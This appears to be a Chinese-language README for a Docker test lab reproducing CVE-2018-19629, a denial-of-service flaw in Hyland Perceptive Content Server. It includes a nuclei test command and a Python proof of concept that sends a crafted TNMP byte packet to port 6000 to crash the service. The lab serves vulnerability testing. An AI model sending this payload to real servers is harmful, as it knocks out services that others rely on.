用于 CVE-2018-19629（Hyland Perceptive Content Server 拒绝服务）的 Docker 测试环境。
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2018-19629 |
| 严重性 | 高（DoS） |
| 受影响版本 | Hyland Perceptive Content Server < 7.1.5 |
| 已修复版本 | 7.1.5 |
Hyland Perceptive Content Server 7.1.5 之前版本存在拒绝服务漏洞，可通过 TCP 连接使 ImageNow Server 服务崩溃。攻击者可通过发送包含 TNMP 报头序列的特制 TCP 数据包来中断服务。
# 启动存在漏洞的环境
docker-compose up -d
# 验证服务正在监听
# （可能需要 netcat 或类似工具）
nc -zv localhost 6000
# 使用 nuclei 模板进行测试
nuclei -t ../network/cves/2018/CVE-2018-19629.yaml -u localhost:6000
你可以使用 Python 手动触发崩溃：
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("localhost", 6000))
# 特制数据包
payload = b'\x54\x4e\x4d\x50\x04\x00\x00\x00\x54\x4e\x4d\x45\x00\x00\x04\x00'
s.send(payload)
s.close()
查看日志以确认崩溃：
docker logs -f imagenow-vuln
你应该会看到：[!] CRITICAL: Recevied malicious 'TNMP' packet...，随后容器会重启。
docker-compose down